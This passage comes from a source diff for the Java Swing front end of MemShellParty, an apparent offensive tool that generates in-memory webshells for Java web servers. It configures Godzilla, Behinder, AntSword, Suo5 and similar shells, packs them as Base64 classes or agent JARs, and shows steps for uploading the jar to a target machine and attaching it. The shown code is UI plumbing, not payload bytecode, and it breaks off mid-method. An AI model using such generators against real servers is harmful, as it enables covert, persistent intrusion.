packResult = Base64.getEncoder().encodeToString(jarPacker.packBytes(memShellResult.toJarPackerConfig()));
} else {
ClassPackerConfig<Object> classPackerConfig = cast(memShellResult.toClassPackerConfig());
Map<String, Object> rawCustom = new LinkedHashMap<>(s.getPackerCustomConfig());
classPackerConfig.setCustomConfig(((Packer<Object>) packer).resolveCustomConfig(rawCustom));
packResult = ((Packer<Object>) packer).pack(classPackerConfig);
}
return new DesktopMemShellGenerateResult(memShellResult, packMethod, packResult);
}
@SuppressWarnings("unchecked")
private static ClassPackerConfig<Object> cast(ClassPackerConfig<?> c) {
return (ClassPackerConfig<Object>) c;
}
private ShellToolConfig buildShellToolConfig(MemShellFormState s) {
String tool = s.getShellTool();
if (ShellTool.Godzilla.equals(tool)) {
return GodzillaConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.pass(blankToNull(s.getGodzillaPass()))
.key(blankToNull(s.getGodzillaKey()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Behinder.equals(tool)) {
return BehinderConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.pass(blankToNull(s.getBehinderPass()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.AntSword.equals(tool)) {
return AntSwordConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.pass(blankToNull(s.getAntSwordPass()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Suo5.equals(tool) || ShellTool.Suo5v2.equals(tool)) {
return Suo5Config.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.NeoreGeorg.equals(tool)) {
return NeoreGeorgConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Proxy.equals(tool)) {
return ProxyConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Custom.equals(tool)) {
return CustomConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.shellClassBase64(blankToNull(s.getShellClassBase64()))
.build();
}
if (ShellTool.Command.equals(tool)) {
return CommandConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.paramName(blankToNull(s.getCommandParamName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.template(blankToNull(s.getCommandTemplate()))
.encryptor(CommandConfig.Encryptor.fromString(blankToNull(s.getEncryptor())))
.implementationClass(CommandConfig.ImplementationClass.fromString(blankToNull(s.getImplementationClass())))
.build();
}
throw new IllegalArgumentException("Unsupported shell tool: " + tool);
}
private int parseInt(String value, int defaultValue) {
try {
return Integer.parseInt(value);
} catch (Exception ignored) {
return defaultValue;
}
}
private static String blankToNull(String s) {
return s == null || s.trim().isEmpty() ? null : s;
}
private static String blankToDefault(String s, String d) {
return s == null || s.trim().isEmpty() ? d : s;
}
}
@@ -0,0 +1,138 @@
package com.reajason.javaweb.desktop.memshell.ui;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
import com.reajason.javaweb.desktop.memshell.service.GenerationService;
import com.reajason.javaweb.desktop.memshell.ui.panel.MainConfigPanel;
import com.reajason.javaweb.desktop.memshell.ui.panel.PackageConfigPanel;
import com.reajason.javaweb.desktop.memshell.ui.panel.ResultPanel;
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import java.awt.*;
public class MemShellGeneratorFrame extends JFrame {
private final MemShellFormController controller;
private final GenerationService generationService;
private final MainConfigPanel mainConfigPanel;
private final PackageConfigPanel packageConfigPanel;
private final ResultPanel resultPanel;
private final JButton generateButton = new JButton("生成内存马");
private final JLabel statusLabel = new JLabel("就绪");
private JComponent mainContentPanel;
public MemShellGeneratorFrame() {
super("MemShellParty - MemShellGenerator");
this.controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
this.generationService = new GenerationService();
CustomClassNameParser customClassNameParser = new CustomClassNameParser();
this.resultPanel = new ResultPanel();
this.mainConfigPanel = new MainConfigPanel(controller, customClassNameParser, this::refreshAll);
this.packageConfigPanel = new PackageConfigPanel(controller, this::refreshAll);
setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
setMinimumSize(new Dimension(1180, 900));
setSize(1280, 900);
setLocationRelativeTo(null);
setLayout(new BorderLayout(6, 6));
add(buildToolbar(), BorderLayout.NORTH);
add(buildContent(), BorderLayout.CENTER);
add(buildStatusBar(), BorderLayout.SOUTH);
generateButton.addActionListener(e -> onGenerate());
resultPanel.clear();
refreshAll();
}
private JComponent buildToolbar() {
JPanel p = new JPanel(new BorderLayout());
p.setBorder(BorderFactory.createEmptyBorder(4, 8, 2, 8));
return p;
}
private JComponent buildContent() {
JPanel topPane = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[][]"));
JPanel leftColumn = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]6[]"));
leftColumn.add(mainConfigPanel.getCorePanelComponent(), "growx");
leftColumn.add(packageConfigPanel, "growx");
JPanel rightColumn = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]"));
rightColumn.add(mainConfigPanel.getToolPanelComponent(), "growx");
JPanel topColumns = new JPanel(new MigLayout("insets 0, fillx, aligny top, gapx 8, wrap 2",
"[grow,fill,sg topCol][grow,fill,sg topCol]",
"[top]"));
topColumns.add(leftColumn, "growx, pushx, top");
topColumns.add(rightColumn, "growx, pushx, top");
topPane.add(topColumns, "growx, pushy");
topPane.add(generateButton, "wrap, growx, gaptop 10");
generateButton.setFont(generateButton.getFont().deriveFont(Font.BOLD, 14f));
JPanel content = new JPanel(new MigLayout("insets 0, fill, wrap 1", "[grow,fill]", "[][grow,fill]"));
content.add(topPane, "growx");
content.add(resultPanel, "grow, push");
mainContentPanel = content;
return content;
}
private JComponent buildStatusBar() {
JPanel p = new JPanel(new BorderLayout());
p.setBorder(BorderFactory.createEmptyBorder(3, 8, 3, 8));
p.add(statusLabel, BorderLayout.WEST);
return p;
}
private void onGenerate() {
com.reajason.javaweb.desktop.memshell.validation.MemShellValidator.Result validation = controller.validate();
if (!validation.isValid()) {
statusLabel.setText("校验失败");
SwingUiUtil.showError(this, validation.firstMessage());
return;
}
generateButton.setEnabled(false);
statusLabel.setText("生成中...");
SwingWorker<DesktopMemShellGenerateResult, Void> worker = new SwingWorker<DesktopMemShellGenerateResult, Void>() {
@Override
protected DesktopMemShellGenerateResult doInBackground() {
return generationService.generate(controller.getState().copy());
}
@Override
protected void done() {
generateButton.setEnabled(true);
try {
DesktopMemShellGenerateResult result = get();
resultPanel.showResult(result);
statusLabel.setText("生成成功");
} catch (Exception ex) {
statusLabel.setText("生成失败");
SwingUiUtil.showError(MemShellGeneratorFrame.this, "生成失败: " + (ex.getCause() != null ? ex.getCause().getMessage() : ex.getMessage()));
}
}
};
worker.execute();
}
public void refreshAll() {
mainConfigPanel.refreshFromController();
packageConfigPanel.refreshFromController();
repaint();
revalidate();
}
JComponent getMainContentPanel() {
return mainContentPanel;
}
JButton getGenerateButton() {
return generateButton;
}
}
@@ -0,0 +1,169 @@
package com.reajason.javaweb.desktop.memshell.ui.panel;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
import com.reajason.javaweb.desktop.memshell.ui.panel.tool.*;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import java.awt.*;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
public class MainConfigPanel extends JPanel {
private final MemShellFormController controller;
private final Runnable refreshAll;
private boolean updating;
private final JComboBox<String> serverCombo = new JComboBox<>();
private final JComboBox<String> serverVersionCombo = new JComboBox<>();
private final JComboBox<String> shellToolCombo = new JComboBox<>();
private final JComboBox<String> targetJdkCombo = new JComboBox<>();
private final JCheckBox debugCheck = new JCheckBox("调试模式");
private final JCheckBox probeCheck = new JCheckBox("回显模式");
private final JCheckBox bypassCheck = new JCheckBox("绕过模块限制");
private final JCheckBox lambdaCheck = new JCheckBox("Lambda 类名后缀");
private final JCheckBox shrinkCheck = new JCheckBox("缩小字节码");
private final JCheckBox staticInitCheck = new JCheckBox("静态初始化");
private final JPanel corePanel;
private final JPanel toolPanelWrap;
private final JPanel toolCardPanel = new JPanel(new CardLayout());
private final Map<String, RefreshableToolPanel> toolPanels = new LinkedHashMap<>();
public MainConfigPanel(MemShellFormController controller, CustomClassNameParser parser, Runnable refreshAll) {
super(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]6[]"));
this.controller = controller;
this.refreshAll = refreshAll;
corePanel = new JPanel(new MigLayout("insets 8, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]4[]"));
corePanel.setBorder(BorderFactory.createTitledBorder("核心配置"));
corePanel.add(labeled("服务类型", serverCombo), "growx");
corePanel.add(labeled("服务版本", serverVersionCombo), "growx");
corePanel.add(labeled("内存马工具", shellToolCombo), "growx");
corePanel.add(labeled("JRE 版本", targetJdkCombo), "growx");
JPanel togglePanel = new JPanel(new MigLayout("insets 0, gapx 8, gapy 2, wrap 3", "[grow,fill][grow,fill][grow,fill]", "[]"));
togglePanel.add(debugCheck);
togglePanel.add(probeCheck);
togglePanel.add(bypassCheck);
togglePanel.add(lambdaCheck);
togglePanel.add(shrinkCheck);
togglePanel.add(staticInitCheck);
corePanel.add(togglePanel, "span 2, growx");
add(corePanel, "growx");
toolPanelWrap = new JPanel(new BorderLayout());
toolPanelWrap.setBorder(BorderFactory.createTitledBorder("内存马功能"));
// Keep the active tool panel at preferred height to avoid large blank sections.
toolPanelWrap.add(toolCardPanel, BorderLayout.NORTH);
add(toolPanelWrap, "growx");
registerToolPanel("Godzilla", new GodzillaToolPanel(controller, refreshAll));
registerToolPanel("Command", new CommandToolPanel(controller, refreshAll));
registerToolPanel("Behinder", new BehinderToolPanel(controller, refreshAll));
registerToolPanel("AntSword", new AntSwordToolPanel(controller, refreshAll));
registerToolPanel("Suo5", new Suo5ToolPanel(controller, refreshAll));
registerToolPanel("Suo5v2", new Suo5ToolPanel(controller, refreshAll));
registerToolPanel("NeoreGeorg", new NeoRegToolPanel(controller, refreshAll));
registerToolPanel("Proxy", new ProxyToolPanel(controller, refreshAll));
registerToolPanel("Custom", new CustomToolPanel(controller, parser, refreshAll));
bindEvents();
}
private void registerToolPanel(String key, RefreshableToolPanel panel) {
toolPanels.put(key, panel);
toolCardPanel.add((Component) panel, key);
}
private JPanel labeled(String label, JComponent component) {
JPanel p = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
p.add(new JLabel(label));
p.add(component, "growx");
return p;
}
private void bindEvents() {
serverCombo.addActionListener(e -> {
if (updating) return;
Object item = serverCombo.getSelectedItem();
if (item != null) {
controller.setServer(String.valueOf(item));
refreshAll.run();
}
});
serverVersionCombo.addActionListener(e -> {
if (updating) return;
Object item = serverVersionCombo.getSelectedItem();
if (item != null) controller.setServerVersion(String.valueOf(item));
});
shellToolCombo.addActionListener(e -> {
if (updating) return;
Object item = shellToolCombo.getSelectedItem();
if (item != null) {
controller.setShellTool(String.valueOf(item));
refreshAll.run();
}
});
targetJdkCombo.addActionListener(e -> {
if (updating) return;
Object item = targetJdkCombo.getSelectedItem();
if (item != null) {
controller.setTargetJdkVersion(String.valueOf(item));
refreshAll.run();
}
});
debugCheck.addActionListener(e -> controller.setDebug(debugCheck.isSelected()));
probeCheck.addActionListener(e -> controller.setProbe(probeCheck.isSelected()));
bypassCheck.addActionListener(e -> controller.setByPassJavaModule(bypassCheck.isSelected()));
lambdaCheck.addActionListener(e -> controller.setLambdaSuffix(lambdaCheck.isSelected()));
shrinkCheck.addActionListener(e -> controller.setShrink(shrinkCheck.isSelected()));
staticInitCheck.addActionListener(e -> controller.setStaticInitialize(staticInitCheck.isSelected()));
}
public void refreshFromController() {
MemShellFormState s = controller.getState();
updating = true;
try {
setComboItems(serverCombo, controller.getServers(), s.getServer());
setComboItems(serverVersionCombo, controller.getServerVersionOptions(), s.getServerVersion());
setComboItems(shellToolCombo, controller.getShellTools(), s.getShellTool());
setComboItems(targetJdkCombo, controller.getConfigCatalogService().getTargetJdkOptions(), s.getTargetJdkVersion());
debugCheck.setSelected(s.isDebug());
probeCheck.setSelected(s.isProbe());
bypassCheck.setSelected(s.isByPassJavaModule());
lambdaCheck.setSelected(s.isLambdaSuffix());
shrinkCheck.setSelected(s.isShrink());
staticInitCheck.setSelected(s.isStaticInitialize());
} finally {
updating = false;
}
CardLayout cardLayout = (CardLayout) toolCardPanel.getLayout();
cardLayout.show(toolCardPanel, s.getShellTool());
RefreshableToolPanel toolPanel = toolPanels.get(s.getShellTool());
if (toolPanel != null) {
toolPanel.refreshFromController();
}
}
private void setComboItems(JComboBox<String> combo, List<String> items, String selected) {
combo.removeAllItems();
for (String item : items) combo.addItem(item);
if (selected != null) combo.setSelectedItem(selected);
}
public JComponent getCorePanelComponent() {
return corePanel;
}
public JComponent getToolPanelComponent() {
return toolPanelWrap;
}
}
@@ -0,0 +1,131 @@
package com.reajason.javaweb.desktop.memshell.ui.panel;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
public class PackageConfigPanel extends JPanel {
private final MemShellFormController controller;
private final Runnable refreshAll;
private boolean updating;
private final JComboBox<PackerEntryModel> packerCombo = new JComboBox<>();
private final JPanel dynamicFieldsPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
public PackageConfigPanel(MemShellFormController controller, Runnable refreshAll) {
super(new MigLayout("insets 8, fillx, wrap 1", "[grow,fill]", "[]4[]"));
this.controller = controller;
this.refreshAll = refreshAll;
setBorder(BorderFactory.createTitledBorder("打包配置"));
JPanel top = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
top.add(new JLabel("打包方式"));
top.add(packerCombo, "growx");
add(top, "growx");
add(dynamicFieldsPanel, "growx");
packerCombo.setRenderer(new DefaultListCellRenderer() {
@Override
public java.awt.Component getListCellRendererComponent(JList<?> list, Object value, int index, boolean isSelected, boolean cellHasFocus) {
super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus);
if (value instanceof PackerEntryModel) {
PackerEntryModel p = (PackerEntryModel) value;
setText(p.displayLabel());
}
return this;
}
});
packerCombo.addActionListener(e -> {
if (updating) return;
Object item = packerCombo.getSelectedItem();
if (item instanceof PackerEntryModel) {
PackerEntryModel p = (PackerEntryModel) item;
controller.setPacker(p.getName());
refreshAll.run();
}
});
}
public void refreshFromController() {
updating = true;
try {
DefaultComboBoxModel<PackerEntryModel> model = new DefaultComboBoxModel<>();
List<PackerEntryModel> filtered = controller.getFilteredPackers();
PackerEntryModel selected = controller.getSelectedPackerEntry();
for (PackerEntryModel p : filtered) model.addElement(p);
packerCombo.setModel(model);
if (selected != null) packerCombo.setSelectedItem(selected);
rebuildDynamicFields(controller.getSelectedPackerFields(), controller.getPackerCustomConfig());
} finally {
updating = false;
}
}
private void rebuildDynamicFields(List<PackerSchemaFieldModel> fields, Map<String, Object> currentValues) {
dynamicFieldsPanel.removeAll();
if (fields == null || fields.isEmpty()) {
dynamicFieldsPanel.revalidate();
dynamicFieldsPanel.repaint();
return;
}
for (PackerSchemaFieldModel field : fields) {
String type = field.getType();
if (!"BOOLEAN".equals(type) && !"STRING".equals(type) && !"ENUM".equals(type) && !"INTEGER".equals(type)) {
continue;
}
Object value = currentValues.get(field.getKey());
if ("BOOLEAN".equals(type)) {
JCheckBox check = new JCheckBox(field.getKey());
check.setSelected(Boolean.TRUE.equals(value));
check.addActionListener(e -> controller.setPackerCustomField(field.getKey(), check.isSelected()));
dynamicFieldsPanel.add(check, "span 2, growx");
continue;
}
dynamicFieldsPanel.add(new JLabel(field.getKey()));
if ("ENUM".equals(type)) {
JComboBox<String> combo = new JComboBox<>();
for (PackerSchemaFieldModel.Option option : field.getOptions()) {
combo.addItem(option.getValue());
}
if (value != null) combo.setSelectedItem(String.valueOf(value));
combo.addActionListener(e -> controller.setPackerCustomField(field.getKey(), combo.getSelectedItem()));
dynamicFieldsPanel.add(combo, "growx");
} else {
JTextField text = new JTextField(value == null ? "" : String.valueOf(value));
text.getDocument().addDocumentListener(new DocumentListener() {
@Override public void insertUpdate(DocumentEvent e) { changed(); }
@Override public void removeUpdate(DocumentEvent e) { changed(); }
@Override public void changedUpdate(DocumentEvent e) { changed(); }
private void changed() {
if (updating) return;
if ("INTEGER".equals(type)) {
String raw = text.getText().trim();
if (raw.isEmpty()) {
controller.setPackerCustomField(field.getKey(), null);
} else {
try {
controller.setPackerCustomField(field.getKey(), Integer.parseInt(raw));
} catch (NumberFormatException ignored) {
}
}
} else {
controller.setPackerCustomField(field.getKey(), text.getText());
}
}
});
dynamicFieldsPanel.add(text, "growx");
}
}
dynamicFieldsPanel.revalidate();
dynamicFieldsPanel.repaint();
}
}
@@ -0,0 +1,249 @@
package com.reajason.javaweb.desktop.memshell.ui.panel;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.util.ClipboardUtil;
import com.reajason.javaweb.desktop.memshell.util.FileSaveUtil;
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.config.*;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.border.Border;
import java.awt.*;
import java.io.IOException;
public class ResultPanel extends JPanel {
private final JTabbedPane tabs = new JTabbedPane();
private final BasicInfoView basicInfoView = new BasicInfoView();
private final JTextArea packResultArea = createTextArea();
private final JTextArea shellArea = createTextArea();
private final JTextArea injectorArea = createTextArea();
private final JLabel packHeaderLabel = new JLabel("未生成");
private DesktopMemShellGenerateResult current;
public ResultPanel() {
super(new BorderLayout());
JPanel packTab = new JPanel(new MigLayout("insets 6, fill, wrap 1", "[grow,fill]", "[][grow]"));
packTab.add(wrapBasicInfoPanel(), "growx");
packTab.add(wrapPackResultPanel(), "grow, push");
tabs.addTab("生成结果", packTab);
tabs.addTab("内存马", wrapBase64Panel("内存马类字节(Base64)", shellArea, true, true));
tabs.addTab("注入器", wrapBase64Panel("注入器类字节(Base64)", injectorArea, false, true));
add(tabs, BorderLayout.CENTER);
}
private JPanel wrapBasicInfoPanel() {
JPanel p = new JPanel(new BorderLayout());
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
top.add(new JLabel("基本信息"));
Border cardBorder = BorderFactory.createCompoundBorder(
BorderFactory.createLineBorder(UIManager.getColor("Component.borderColor") == null ? Color.LIGHT_GRAY : UIManager.getColor("Component.borderColor")),
BorderFactory.createEmptyBorder(6, 6, 6, 6)
);
p.setBorder(cardBorder);
p.add(top, BorderLayout.NORTH);
p.add(basicInfoView, BorderLayout.CENTER);
return p;
}
private JPanel wrapPackResultPanel() {
JPanel p = new JPanel(new BorderLayout());
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
JButton copyBtn = new JButton("复制");
JButton saveBtn = new JButton("保存");
copyBtn.addActionListener(e -> ClipboardUtil.copyText(packResultArea.getText()));
saveBtn.addActionListener(e -> savePackResult());
top.add(new JLabel("打包结果"));
top.add(packHeaderLabel);
top.add(copyBtn);
top.add(saveBtn);
p.add(top, BorderLayout.NORTH);
p.add(new JScrollPane(packResultArea), BorderLayout.CENTER);
return p;
}
private JPanel wrapBase64Panel(String title, JTextArea area, boolean shell, boolean saveClass) {
JPanel p = new JPanel(new BorderLayout());
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
JButton copyBtn = new JButton("复制");
JButton saveBtn = new JButton(saveClass ? "保存 .class" : "保存");
copyBtn.addActionListener(e -> ClipboardUtil.copyText(area.getText()));
saveBtn.addActionListener(e -> {
if (current == null) return;
try {
MemShellResult r = current.getMemShellResult();
if (shell) {
FileSaveUtil.saveBase64AsBytes(this, simpleClassFileName(r.getShellClassName()), r.getShellBytesBase64Str(), "class");
} else {
FileSaveUtil.saveBase64AsBytes(this, simpleClassFileName(r.getInjectorClassName()), r.getInjectorBytesBase64Str(), "class");
}
} catch (Exception ex) {
SwingUiUtil.showError(this, "保存失败: " + ex.getMessage());
}
});
top.add(new JLabel(title));
top.add(copyBtn);
top.add(saveBtn);
p.add(top, BorderLayout.NORTH);
p.add(new JScrollPane(area), BorderLayout.CENTER);
return p;
}
private JTextArea createTextArea() {
JTextArea area = new JTextArea();
area.setEditable(false);
area.setLineWrap(true);
area.setWrapStyleWord(true);
area.setFont(new Font(Font.MONOSPACED, Font.PLAIN, 12));
return area;
}
public void showResult(DesktopMemShellGenerateResult result) {
this.current = result;
MemShellResult r = result.getMemShellResult();
basicInfoView.setResult(result);
packHeaderLabel.setText(result.getPackMethod() + (result.getPackResult() == null ? "" : " (" + result.getPackResult().length() + ")"));
if (result.isJarOutput() || result.isAgentOutput()) {
packResultArea.setText(buildUsageText(result));
} else {
packResultArea.setText(result.getPackResult());
}
shellArea.setText(r.getShellBytesBase64Str());
injectorArea.setText(r.getInjectorBytesBase64Str());
}
public void clear() {
current = null;
basicInfoView.clear();
packResultArea.setText("");
shellArea.setText("");
injectorArea.setText("");
packHeaderLabel.setText("未生成");
}
private String buildUsageText(DesktopMemShellGenerateResult result) {
if (result.isAgentOutput()) {
return "1. 点击保存导出 Agent Jar\n2. 上传到目标机器\n3. 使用 jattach/attach 方式加载\n4. 按生成配置尝试连接/触发\n\n(下方“保存”按钮会保存打包后的 Jar)";
}
return "1. 点击保存导出 Jar\n2. 按目标环境触发类加载\n3. 使用基本信息中的参数连接内存马\n\n(下方“保存”按钮会保存打包后的 Jar)";
}
private void savePackResult() {
if (current == null) return;
try {
if (current.isJarOutput() || current.isAgentOutput()) {
String baseName = current.getMemShellResult().getShellConfig().getServer() + current.getMemShellResult().getShellConfig().getShellTool() + (current.isAgentOutput() ? "MemShellAgent" : "MemShell");
FileSaveUtil.saveBase64AsBytes(this, baseName + ".jar", current.getPackResult(), "jar");
} else {
FileSaveUtil.saveText(this, current.getPackMethod() + ".txt", current.getPackResult());
}
} catch (Exception ex) {
SwingUiUtil.showError(this, "保存失败: " + ex.getMessage());
}
}
private static String simpleClassFileName(String className) {
if (className == null || className.trim().isEmpty()) return "output.class";
int idx = className.lastIndexOf('.');
return (idx >= 0 ? className.substring(idx + 1) : className) + ".class";
}
public JComponent getBasicInfoComponent() {
return basicInfoView;
}
static final class BasicInfoView extends JPanel {
private final JPanel content = new JPanel(new MigLayout("insets 0, fillx, gapx 10, gapy 2, wrap 2", "[right]10[grow,fill]", "[]"));
BasicInfoView() {
super(new BorderLayout());
add(content, BorderLayout.CENTER);
clear();
}
void clear() {
content.removeAll();
content.revalidate();
content.repaint();
}
void setResult(DesktopMemShellGenerateResult result) {
content.removeAll();
MemShellResult r = result.getMemShellResult();
ShellConfig shellConfig = r.getShellConfig();
ShellToolConfig toolConfig = r.getShellToolConfig();
appendToolRows(shellConfig, toolConfig);
row("注入器类名", r.getInjectorClassName() + " (" + r.getInjectorSize() + " bytes)");
row("内存马类名", r.getShellClassName() + " (" + r.getShellSize() + " bytes)");
content.revalidate();
content.repaint();
}
private void appendToolRows(ShellConfig shellConfig, ShellToolConfig toolConfig) {
if (toolConfig == null) {
row("参数", "");
return;
}
String tool = shellConfig == null ? null : shellConfig.getShellTool();
if (toolConfig instanceof GodzillaConfig) {
GodzillaConfig c = (GodzillaConfig) toolConfig;
row("密码", c.getPass());
row("密钥", c.getKey());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof BehinderConfig) {
BehinderConfig c = (BehinderConfig) toolConfig;
row("密码", c.getPass());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof CommandConfig) {
CommandConfig c = (CommandConfig) toolConfig;
row("参数名", c.getParamName());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
row("加密器", c.getEncryptor() == null ? "" : c.getEncryptor().name());
row("实现类", c.getImplementationClass() == null ? "" : c.getImplementationClass().name());
if (c.getTemplate() != null) {
row("命令模板", c.getTemplate());
}
} else if (toolConfig instanceof AntSwordConfig) {
AntSwordConfig c = (AntSwordConfig) toolConfig;
row("密码", c.getPass());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof Suo5Config) {
Suo5Config c = (Suo5Config) toolConfig;
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof ProxyConfig) {
ProxyConfig c = (ProxyConfig) toolConfig;
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof NeoreGeorgConfig) {
NeoreGeorgConfig c = (NeoreGeorgConfig) toolConfig;
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof CustomConfig) {
CustomConfig c = (CustomConfig) toolConfig;
String v = c.getShellClassBase64();
row("自定义类(Base64)", v == null ? "" : (v.length() > 32 ? v.substring(0, 32) + "..." : v));
} else if (tool != null) {
row("工具类型", tool);
}
}
private void row(String key, String value) {
addValueRow(key, value);
}
private void addValueRow(String key, String value) {
String text = value == null ? "" : value;
content.add(new JLabel(key));
JTextField tf = new JTextField(text);
tf.setEditable(false);
tf.setBorder(BorderFactory.createEmptyBorder(1, 4, 1, 4));
tf.setOpaque(true);
tf.setBackground(UIManager.getColor("Panel.background"));
tf.setToolTipText(value == null ? "" : value);
tf.setToolTipText(text);
content.add(tf, "growx, wrap");
}
}
}
@@ -0,0 +1,118 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import java.awt.*;
import java.util.List;
import java.util.function.Consumer;
public abstract class AbstractToolPanel extends JPanel implements RefreshableToolPanel {
protected final MemShellFormController controller;
protected final Runnable refreshAll;
protected boolean updating;
protected final JComboBox<String> shellTypeCombo = new JComboBox<>();
protected final JTextField urlPatternField = new JTextField();
protected final JPanel shellTypeAndUrlRow = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[50%,fill][50%,fill]", "[]"));
protected JPanel urlPatternRow = new JPanel(new BorderLayout());
protected final JCheckBox randomClassNameCheck = new JCheckBox("随机类名");
protected final JPanel manualClassPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
protected final JTextField shellClassNameField = new JTextField();
protected final JTextField injectorClassNameField = new JTextField();
protected AbstractToolPanel(MemShellFormController controller, Runnable refreshAll) {
this.controller = controller;
this.refreshAll = refreshAll;
setLayout(new MigLayout("insets 6, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]4[]"));
buildCommonShellTypeSection();
}
protected void buildCommonShellTypeSection() {
shellTypeAndUrlRow.add(labeled("内存马挂载类型", shellTypeCombo), "growx");
urlPatternRow = labeled("请求路径", urlPatternField);
shellTypeAndUrlRow.add(urlPatternRow, "growx");
add(shellTypeAndUrlRow, "span 2, growx, wrap");
shellTypeCombo.addActionListener(e -> {
if (updating) return;
Object item = shellTypeCombo.getSelectedItem();
if (item != null) {
controller.setShellType(String.valueOf(item));
refreshAll.run();
}
});
bindText(urlPatternField, controller::setUrlPattern);
}
protected void addRandomClassSection() {
add(randomClassNameCheck, "span 2, split 2, wrap");
manualClassPanel.add(labeled("内存马类名", shellClassNameField), "growx");
manualClassPanel.add(labeled("注入器类名", injectorClassNameField), "growx");
add(manualClassPanel, "span 2, growx, hidemode 3");
randomClassNameCheck.addActionListener(e -> {
if (updating) return;
controller.setRandomClassName(randomClassNameCheck.isSelected());
refreshAll.run();
});
bindText(shellClassNameField, controller::setShellClassName);
bindText(injectorClassNameField, controller::setInjectorClassName);
}
protected JPanel labeled(String label, JComponent component) {
JPanel p = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
p.add(new JLabel(label), "growx");
p.add(component, "growx");
return p;
}
protected void setComboItems(JComboBox<String> combo, List<String> items, String selected) {
combo.removeAllItems();
for (String item : items) combo.addItem(item);
if (selected != null) combo.setSelectedItem(selected);
}
protected void bindText(JTextField field, Consumer<String> setter) {
field.getDocument().addDocumentListener(new DocumentListener() {
@Override
public void insertUpdate(DocumentEvent e) {
changed();
}
@Override
public void removeUpdate(DocumentEvent e) {
changed();
}
@Override
public void changedUpdate(DocumentEvent e) {
